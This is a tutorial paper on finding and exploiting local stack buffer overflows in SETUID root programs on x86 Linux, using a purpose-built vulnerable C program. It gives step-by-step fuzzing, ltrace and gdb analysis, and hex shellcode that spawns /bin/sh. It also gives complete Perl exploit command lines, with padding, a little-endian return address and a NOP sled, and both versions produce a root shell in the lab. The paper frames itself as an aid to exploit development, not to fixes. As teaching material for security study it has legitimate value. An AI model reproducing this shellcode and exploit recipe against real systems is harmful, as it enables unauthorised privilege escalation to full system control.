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INTRODUCTION  

  

This paper will describe some of the methods used to find and exploit vulnerabilities known as 

local buffer overflows.  This paper will demonstrate some of the tools and methods used in 

analyzing the conditions that cause buffer overflows and how they can be exploited to the 

advantage of an attacker. The examples will focus on Linux system based programs, tools and 

examples. There are numerous papers on this subject, but this paper hopes to present this 

information in a unique and simplified way with step-by-step examples and tool tutorials to 

provide a more "applied" perspective to the reader. This paper is not focused on providing 

solutions to the buffer overflow problem but rather to assist in the vulnerability and exploit 

development research.  

  

BACKGROUND   

  

A buffer overflow is a condition that occurs when a program is forced to write data beyond the 

allocated end of a memory buffer. In some cases, this can cause valid data to be overwritten and 

arbitrary code to be executed. A local overflow is one that feeds too much data into an argument 

or environment variable. If this condition exists in a program that is allowed to execute with 

elevated or administrative privileges, then an attacker may be able to exploit this vulnerability in 

order to gain complete control over the target operating system. There are other types of buffer 

overflows including those known as “remote”. Remote buffer overflows typically attack network 

and/or client – server applications rather than local stand-alone applications.  

  

ARCHITECTURE  

  

It is useful to have some rudimentary understanding of the architecture of the system being 

attacked. In the case of this paper that architecture is the Intel x86 processor. This architecture 

has several "registers" or holding areas for data. Knowledge of these registers is important to 

the vulnerability discovery and exploitation processes. Below is a table providing general 

information on these registers.   

  

The table below provides a list of the x86 processor registers, their size in bits and their 
purpose.  More detailed information about these registers can be found in the IA-32 Intel® 

Architecture Software Developer’s Manual Volume 2A: Instruction Set Reference, A-M [1]  
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 Register Name  Size (in bits)  Purpose  

AX (EAX)  16 (32)  Main register used in arithmetic calculations. Also known as accumulator, as it 

holds results of arithmetic operations and function return values.  

BX (EBX)  16 (32)  The Base Register. Used to store the base address of the program.  

CX (ECX)  16 (32)  The Counter register is often used to hold a value representing the number of 

times a process is to be repeated. Used for loop and string operations.  

DX (EDX)  16 (32)  A general purpose register. Also used for I/O operations. Helps extend EAX to 

64-bits.  

SI (ESI)  16 (32)  Source Index register. Used as an offset address in string and array 

operations. It holds the address from where to read data.  

DI (EDI)  16 (32)  Destination Index register. Used as an offset address in string and array 

operations. It holds the implied write address of all string operations.  

BP (EBP)  16 (32)  Base Pointer. It points to the bottom of the current stack frame. It is used to 

reference local variables.  

SP (ESP)  16 (32)  Stack Pointer. It points to the top of the current stack frame. It is used to 

reference local variables.  

IP (EIP)  16 (32)  The instruction pointer holds the address of the next instruction to be 

executed.  

CS  16  Code segment register. Base location of code section (.text section). Used for 

fetching instructions.  

DS  16  Data segment register. Default location for variables (.data section). Used for 

data accesses.  

ES  16  Extra segment register. Used during string operations.  

SS  16  Stack segment register. Base location of the stack segment. Used when 

implicitly using SP or ESP or when explicitly using BP, EBP.  

EFLAGS  32  This register’s bits represent several single-bit Boolean values, such as the 

sign, overflow, carry, and zero flags. It is modified after every mathematical 

operation. See below for more information.  

FIg. 1 [2]  

  

One of the most important registers to watch during the vulnerability discovery process is the IP 

(EIP). The E in EIP stands for extended which applies to 32 bit. Since this register holds the 

address of the next instruction to be executed, the ability to overwrite it allows an attacker to 

point to their own instructions rather than those intended by the programmer.  

  

Another element of a system's architecture to be aware of when doing vulnerability research is 

the "stack".  The stack is a FILO (first in last out) variable size data structure which is used to 

store temporary data such as function contexts. The stack is used to store information about 

where the EIP should return to when a function is completed.  The main operations that operate 

on the stack are PUSH, which adds to the top of the stack, and POP with removes the last 

element at from the top of the stack.  

  

Various registers interact with the stack in the following ways:  

  

• The stack pointer (ESP) points to the top of the stack which is also the last address.  

• A base pointer (EBP) points to the bottom of the current stack frame.  

• The stack segment (SS) stores the base location of the stack segment.  

• The instruction pointer (EIP) holds the address of the next instruction to be executed. If 

this register can be overwritten on the stack then the EIP can be made to point to the 

instruction of the attacker's choice.   
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Fig 2. [3]  

  

There are several tools for examining the stack such as gdb [4], pstack [5] and ps (ps –X). 

This paper focuses on gdb for examining the stack. Analysis of the stack is an important skill for 

the vulnerability development process.  

  

LOCATING TARGETS  

  

Many programs can contain buffer overflow vulnerabilities but programs with the most value are 

those which can execute with elevated privileges. On a Linux system this is called SETUID root. 

The reason these are the most valuable is because an attacker with limited privileges on a 

system can elevate themselves sufficiently to completely take over a system.    

  

The simplest way to locate programs on a Linux computer which are SETUID root is to use the 

Unix “find” command. The syntax of this command is:  

  

find / -user root –perm -4000 –print > suids.txt  

  

What this command means is to find, starting at the top level of the file system, all programs 

owned by root with the SETUID root flag set and redirect the output to a file called suids.txt.  

  

Here is an example of the output from this command.  
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[root@kryptos tmp]# cat suids.txt  
/tmp/vuln  
/usr/bin/chage  
/usr/bin/gpasswd  
/usr/bin/at  
/usr/bin/passwd  
/usr/bin/chfn  
/usr/bin/chsh  
/usr/bin/newgrp  
/usr/bin/crontab  
/usr/bin/lppasswd  
/usr/bin/ssh  
/usr/bin/kcheckpass  

  

/usr/bin/rcp  
/usr/bin/rlogin  
/usr/bin/rsh  
/usr/bin/inndstart  
/usr/bin/startinnfeed  
/usr/bin/sudo  
/usr/bin/sperl5.6.1  
/usr/bin/suidperl  
/usr/sbin/ping6  
/usr/sbin/traceroute6  
/usr/sbin/sendmail.sendmail  
/usr/sbin/userhelper  
/usr/sbin/usernetctl  
/usr/sbin/userisdnctl  
/usr/sbin/traceroute  
/usr/X11R6/bin/XFree86 /bin/ping  

 

/bin/mount  
/bin/umount  
/bin/su  
/sbin/pwdb_chkpwd  
/sbin/unix_chkpwd  

  

Each of the files in this list of 34 programs are SETUID root and potential candidates for useful 

buffer overflows.   

  

ANATOMY  

  

There is an anatomy to the buffer overflow vulnerability. The author has developed a simple C 

program which can be used to demonstrate the fundamental programming mistake which 

causes buffer overflow vulnerabilities.  

  

// vuln.c  

int main(int argc, char *argv[]) {  

  char buffer[512];  

  strcpy(buffer, argv[1]);   return 0;  

} 

 

• The first line sets up main() to take in user input as arguments to the program.  

• The second line sets up a character array buffer of 512 bytes.  

• The third line uses the function strcpy to copy the user provided argument into the buffer. 

- The last line returns 0 and ends the program.  

  

This is an overly simple example as most buffer overflows are much more complicated, but it 

clearly demonstrates the problem. The program assumes that the user will only provide an 

argument that is less than 512 byes in size but does no checking before copying the data into 

the allocated buffer. If the user supplied argument is greater than 512 the program will crash with 

a segmentation fault.  

  

For the purposes of this example this program will be SETUID root:  

 

[root@kryptos tmp]# chmod 755 vuln ; chown root:root vuln ; chmod +s vuln  

[root@kryptos tmp]# ls -al vuln  

-rwsr-sr-x    1 root     root        13508 May 10 04:35 vuln 
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FAULT INJECTION (Fuzzing)  

  

There are many terms used for fault injection or “fuzzing” but basically this is a process of 

sending data that is known to commonly cause programs to crash to a process. This data is 

often large strings used as arguments or placed inside environment variables that are used by 

programs. There are many types of fault injection depending on the application, but this paper 

will focus on ARGV (argument) fuzzing.   

  

Often vulnerability researchers will inject numerous “A's" (hex code 0x41) into a program as an 

argument because they can be easily identified during the analysis phase. If enough "A’s" are 

sent as an argument to a vulnerable program and that programs memory is examined it is often 

possible to see where those A’s have overwritten memory. Numerous tools are available for 

performing fuzzing such as the open source SPIKE [6], Peach[7], Fuzz[8] and many other 

commercial tools. This paper will focus on using PERL[9] and a tool called bfbtester. [10]  

  

 Now bfbtester will be run against the identified target program.  

  

[root@kryptos tmp]# bfbtester -s vuln  

=> /tmp/vuln  

 (setuid: 0)  

 (setgid: 0)  

   * Single argument testing  

Cleaning up...might take a few seconds  

*** Crash </tmp/vuln> *** args:           [51200] envs:  

Signal:         11 ( Segmentation fault )  

Core?           No 

 

bfbtester is run with the –s switch which means Single Argument Test. This performs a number 

of tests against the vulnerable program using the first argument. The output identifies that the 

program is SETUID and SETGID root and finds a Segmentation Fault condition at 512 bytes 

which is what was expected based on the source code. Sometimes the attacker does not have 

access to the source code of a target program and so must rely on fuzzing and binary analysis 

methods (also known as black box testing) in order to detect possible vulnerabilities.  

  

Now the attacker must perform some tests in order to try to pinpoint the vulnerability. In this case 

PERL is used to narrow down the number of bytes required to cause a segfault:  

  

[asclark@kryptos tmp]$ ./vuln `perl -e 'print "A" x512;'`  

[asclark@kryptos tmp]$ ./vuln `perl -e 'print "A" x520;'`  

[asclark@kryptos tmp]$ ./vuln `perl -e 'print "A" x525;'`  

Segmentation fault  

[asclark@kryptos tmp]$ ./vuln `perl -e 'print "A" x524;'`  

Segmentation fault  

[asclark@kryptos tmp]$ ./vuln `perl -e 'print "A" x523;'` 
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Instead of a normal user argument a PERL command is issued which prints a defined number of 

"A’s". Starting at 512 "A’s" because of the hint given by bfbtester the attacker proceeds making 

general guesses until the boundaries of the numbers of bytes required to cause a segfault are 

determined. 524 bytes of "A’s" cause a segfault but 523 do not.   

  

PROGRAM ANALYSIS  

  

Now the attacker needs to examine what is happening to the program in order to gather more 

information to help exploiting this buffer overflow. A useful tool for this is called ltrace[11]  and 

comes default on many Linux distributions. From the MAN page of ltrace:  

  

ltrace is a program that simply runs the specified command until it exists.  It intercepts and 

records the dynamic library calls which are called by the executed process and the signals which 

are received by that process.  It can also intercept and print the system calls executed by the 

program.  

  

ltrace is used to run the vulnerable program with the PERL script as an argument using the 524 

number of bytes determined earlier in the analysis.  

   
[asclark@kryptos tmp]$ ltrace ./vuln `perl -e 'print "A" x524;'`  

__libc_start_main(0x08048400, 2, 0xbffff724, 0x08048298, 0x08048470 <unfinished ...>  

__register_frame_info(0x080494a8, 0x080495a4, 0xbffff6c8, 0x0804832e, 0x08048298) = 0x080494a8  

strcpy(0xbffff4b0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0xbffff4b0  

--- SIGSEGV (Segmentation fault) ---  

+++ killed by SIGSEGV +++ 

 

The output of ltrace shows the strcpy command running at the address of 0xbffff4b0 and the 

numerous A’s.  

  

EXPLOIT DEVELOPMENT  

  

One of the required tools of exploit development is called shellcode. Shellcode is a slice of 

program written in assembly which executes a shell or other action such as adding a user or 

changing the permissions on a file.  The creation of shellcode is beyond the scope of this paper, 

but the general procedure is as follows:   

  

- Write a program in C that performs the desired action such as executing /bin/sh.  

- Disassemble the program into assembler code.   

- Optimize the assembler and reduce its size as much as possible.  

- Convert the assembler to opcodes. (Opcodes are numeric values assigned to assembler 

operations.)  

  

Shellcode can also be written directly in assembler and converted to opcodes. There are many 

pre-written shellcodes available online and a particularly nice archive can be found at the 

Metasploit Project [12] website (http://metasploit.com:55555/PAYLOADS).   

  

http://metasploit.com:55555/PAYLOADS
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Another excellent project for shellcode development is called shellforge [13]. Shellforge can be 

used to quickly develop shellcode by automating much of the process. First create a simple C 

program that executes a shell:  

  

asclark@kryptos tmp]$ cat shell.c  

#include "include/sfsyscall.h"  

  

int main(void)  

{  

        char *a[] = {"/bin/sh", 0};  

        execve(a[0], a, 0);  

} 

 

Next run shellforge and convert the program to shellcode. For this example, verbose mode was 

used to display all the output:  

  
asclark@kryptos tmp]$./shellforge.py -v 4 -x shell3.c ** Convert [shell3.c] from [0] to [0] with loader [1]  

** Options: stackreloc=0 saveregs=0 test=0 keep=0  

** Compiling shell3.c  

`-mcpu=' is deprecated. Use `-mtune=' or '-march=' instead.  

** Tuning original assembler code  

[0]     .file   "shell3.c"  

[0] .section        .rodata.str1.1,"aMS",@progbits,1 [1] .LC0:  

[1] .string "/bin/sh"  

[1] .text  

[2] .p2align 2,,3  

[2] .globl main  

[2] .type   main, @function [2] main:  

[3] pushl   %ebp  

[3] movl    %esp, %ebp  

[4] pushl   %edi  

[5] pushl   %esi  

[5] pushl   %ebx  

[6] subl    $12, %esp [6]     call    .L4 [6] .L4:  

[6]     popl    %ebx  

[6] addl    $_GLOBAL_OFFSET_TABLE_+[.-.L4], %ebx  

[7] andl    $-16, %esp  

[7]     xorl    %esi, %esi  

[7]     leal    .LC0@GOTOFF(%ebx), %edi  

[7]     subl    $16, %esp  

[7]     movl    %edi, -24(%ebp)  

[7]     leal    -24(%ebp), %ecx  

[7]     movl    $0, -20(%ebp)  

[7]     movl    $11, %eax  

[7]     movl    %esi, %edx  

[7] #APP  

[7]     pushl %ebx  

[7]     mov %edi,%ebx  

[7]     int $0x80  

[7]     popl %ebx  

[7] #NO_APP  

[7]     leal    -12(%ebp), %esp  



9 of 13  

[7]     popl    %ebx  

[7]     popl    %esi  

[7]     popl    %edi  

[7] leave  

[8] ret  

[8] .size   main, .-main  

[9] .section        .note.GNU-stack,"",@progbits  

[9]     .ident  "GCC: (GNU) 3.4.3"  

   

** Assembling modified asm  

** Retrieving machine code ** Computing xor encryption key ** Shellcode forged!  

\xeb\x0d\x5e\x31\xc9\xb1\x47\x80\x36\x01\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x54\x88\xe4\x56\x57\x52\

xe9\x01\x01\x01\x01\x5a\x82\xc2\xf4\x82\xe5\xf1\x30\xf7\x8c\xba\x3e\x01\x01\x01\x82\xed\x11\x88\x7c\xe

9\x8c\x4c\xe9\xc6\x44\xed\x01\x01\x01\x01\xb9\x0a\x01\x01\x01\x88\xf3\x52\x88\xfa\xcc\x81\x5a\x8c\x64\x

f5\x5a\x5f\x5e\xc8\xc2\ x2e\x63\x68\x6f\x2e\x72\x69\x01 

 

For the purposes of this paper the author has created a simple shellcode which executes /bin/sh:  

  
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x

0b\x8d\ x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 

 

This shellcode is 46 bytes long. For this attack to succeed there must be sufficient data to 

overflow the buffer and the shellcode must be able to fit in the buffer. A calculation must be 

made to determine the exact numbers needed to perform the attack.  

  

o – s = t  

  

Where o equals the number of overflow bytes required to cause a segfault minus (s) the number 

of bytes of shellcode equals the (t) true number of bytes  to overflow the buffer. In this case:  

  

524 – 46 = 478  

  

Now a command line attack must be constructed using the information gathered so far and 

including the shellcode. The attack so far is:  

  
./vuln `perl -e 'print  

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\

x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" . "\x41" x478;'` 

 

This attack essentially means: Run the vulnerable program with a PERL script as the argument 

which prints the shellcode and appends the hex version of the letter A times 478.   

  

ltrace is again used to analyze the behavior of the program.  

 
[asclark@kryptos tmp]$ ltrace ./vuln `perl -e 'print  

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\

x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" . "\x41" x478;'`  

__libc_start_main(0x08048400, 2, 0xbffff924, 0x08048298, 0x08048470 <unfinished ...>  

__register_frame_info(0x080494a8, 0x080495a4, 0xbffff8c8, 0x0804832e, 0x08048298) = 0x080494a8 

strcpy(0xbffff6b0,  
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"1\300\260F1\3331\311\315\200\353\026[1\300\210C\007\211[\b\211C\014\260\013\215K\b\215S\014"...) = 

0xbffff6b0  

--- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++ 

 

Again the strcpy() function can be seen at the address 0xbffff6b0 only this time the shellcode is 

being displayed rather than the A’s. This address is the final piece needed to construct a working 

exploit. One thing to be aware of is the architecture of the system being attacked. In the case of 

this example the architecture is known as x86 because it is an Intel based processor. x86 

architectures  are little-endian in nature.  

  

From wikipedia [14]:  

When integers or any other data are represented with multiple bytes, there is no unique way of 

ordering those bytes in memory or in transmission over some medium, so the order is subject to 

arbitrary convention, called endianness. This is actually somewhat similar to the situation in 

different written languages, where some are written left-to-right, while others are written right-

toleft.  

The two main types of endianness are termed big-endian and little-endian. Endianness is also 

referred to as byte order or byte sex. There seems to be no significant advantage in using one 

way over the other; the endianness does not matter when dealing with a sequence of single 

bytes. This is the case with strings encoded in ASCII and similar codes, where each byte 

corresponds to a single character.  

In light of this information the construction of the address just discovered must be transformed 

so that it will be understood by the system. The address 0xbffff6b0 must be converted to 

littleendian notation as 0xb0f6ffbf or in the correct exploit format \xb0\xf6\xff\xbf.  

  

Now a new command line attack must be constructed to include this properly formatted address:  

  
./vuln `perl -e 'print  

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\

x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" . "\x41" x478 . 

"\xb0\xf6\xff\xbf";'` 

 

This command means: Run the vulnerable program with a Perl script as the argument which 

prints the shellcode, appends the letter "A" 478 times and appends the little-endian formatted 

return address.  

  

Now the finished attack command is run:  

  
[asclark@kryptos tmp]$ whoami  

asclark  

[asclark@kryptos tmp]$ id  

uid=502(asclark) gid=503(asclark) groups=503(asclark)  

[asclark@kryptos tmp]$ ./vuln `perl -e 'print  

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\

x0b\x8d \x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" . "\x41" x478 . 

"\xb0\xf6\xff\xbf";'` sh-2.05a# whoami root sh-2.05a# id  

uid=0(root) gid=503(asclark) groups=503(asclark) sh-2.05a# 

http://en.wikipedia.org/wiki/Integers
http://en.wikipedia.org/wiki/Integers
http://en.wikipedia.org/wiki/Byte
http://en.wikipedia.org/wiki/Written_language
http://en.wikipedia.org/wiki/ASCII


11 of 13  

 

With all the elements in place the attack succeeds and provides the attacker with a root level 

shell prompt which essentially provides full control over the system. There are many other ways 

of exploiting this type of vulnerability such as placing the shellcode in an environment variable 

whose memory address is known.   

   

  

NOP SLEDS AND FURTHER ANALYSIS WITH GDB  

  

The exploit developed thus far works but has some problems. It is right on the target as far as 

the number of bytes to overflow the buffer and the return address to use but if anything in 

memory changes slightly the exploit will probably fail. Further analysis with the Gnu Debugger is 

required as well as the construction of a NOP sled. A NOP is an assembly instruction that stands 

for No Operation and essentially tells the processor to do nothing. A NOP sled is essentially a 

series of No Operations which sit before the shellcode. The program will execute until it hits the 

NOP sled and “slide” down until it hits the shellcode. This makes it more likely the shellcode will 

get executed even if the exact return address is not known.   

  

The Gnu Debugger (gdb) is a tool that can be used to debug programs and also to analyze 

programs during the vulnerability development process. This section continues analyzing the 

vulnerable example program using gdb. There are some idiosyncrasies in gdb which require 

slight modifications to the numbers used previously. Using gdb changes the number of A’s 

required to overflow the vulnerable program by 4 bytes from 478 to 482.  

 
[asclark@kryptos tmp]$ gdb vuln  

(gdb) set args `perl -e 'print  

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x

b0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" . "\x41" x482;'` 

(gdb) run 

  

Starting program: /tmp/vuln `perl -e 'print  

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x
b0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" . "\x41" x482;'`  

  

Program received signal SIGSEGV, Segmentation fault.  

0x41414141 in ?? () 

 

The next thing an attacker needs to do is examine the state of the processor registers in order to 

see if the buffer is being overflowed correctly. The sign an attacker looks for is if the EIP contains 

0x41414141 which is the numerical equivalent of the "A’s" previously injected. The EIP is the 

Instruction Pointer register in the Intel x86 architecture. This register points to the address of the 

next instruction. If the EIP can be overwritten with "A’s": then it can also be overwritten with the 

instructions needed to execute the shellcode. The gdb command to examine the registers is 

“info registers”.  

  
(gdb) info registers eax            0x0      0 
ecx            0xfffffc98       -872 edx            
0xbffffc48       -1073742776 ebx            
0x4213030c       1108542220 esp            
0xbffff8e0       0xbffff8e0 ebp            
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0x41414141       0x41414141 esi            
0x40013020       1073819680 edi            
0xbffff944       -1073743548 eip            
0x41414141       0x41414141 eflags         
0x10282  66178 cs             0x23     35 ss             
0x2b     43 ds             0x2b     43 es             
0x2b     43 ...... cut .....   

 

The EIP has been successfully overwritten. Examining the other registers such as EDX, ESP 

and EDI, it can be noted they all begin with the address range 0xbffff. At this point it is useful to 

examine the memory around this address range to see if an approximate return address can be 

determined. This can be done with the command x/1000000x 0xbffff000.  

  
gdb x/1000000x 0xbffff000  
  
….. (cut) ….  
0xbffff6b0:     0x42080670      0x40013020      0xbffff8d8      0x08048420  
0xbffff6c0:     0xbffff6d0      0xbffffa3b      0x42010262      0x00000000  
0xbffff6d0:     0x46b0c031      0xc931db31      0x16eb80cd      0x88c0315b  
0xbffff6e0:     0x5b890743      0x0c438908      0x4b8d0bb0      0x0c538d08  
0xbffff6f0:     0xe5e880cd      0x2fffffff      0x2f6e6962      0x41416873 
0xbffff700:     0x41414141      0x41414141      0x41414141      0x41414141 
….. (cut) ….  
  

By searching for the first memory address that shows the "A’s" the attacker can see that 

0xbffff700 is the approximate return address. This address is usually offset a bit from the 

address needed. This is where the NOP sled comes in. Going a few address back from the first 

"A" the address 0xbffff6b0 is selected for the attack.  

  

Now the attack can be modified; from using "A’s" to using a NOP sled before the shellcode and 

the approximate address found in gdb. Many addresses will work at this point. The numerical 

code for NOP is \x90 so this will be printed 478 times before the shellcode.  

  
[asclark@kryptos tmp]$ ./vuln `perl -e 'print "\x90" x 478 .  
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d 
\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" .  "\xb0\xf6\xff\xbf"; sh-2.05a# 

id  
uid=0(root) gid=503(asclark) groups=503(asclark)  

  

This method of attack is successful as well.  

  

SUMMARY  

  

There are several tools and methods that are useful for finding vulnerabilities and developing 

exploits. The methods described in this paper provide a basic path for discovering and exploiting 

basic buffer overflow vulnerabilities which can also be expanded into more complex situations 

such as remote buffer overflows.  
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FURTHER READING  

  

Hacking: The Art of Exploitation - Jon Erickson [3]  

The Shellcoder's Handbook - Koziol, Litchfield, Aitel, Anley, Eren, Mehta and Hassell [15]  

Smashing the Stack For Fun and Profit - Aleph One [16]  

The Tao of Windows Buffer Overflow - DilDog  
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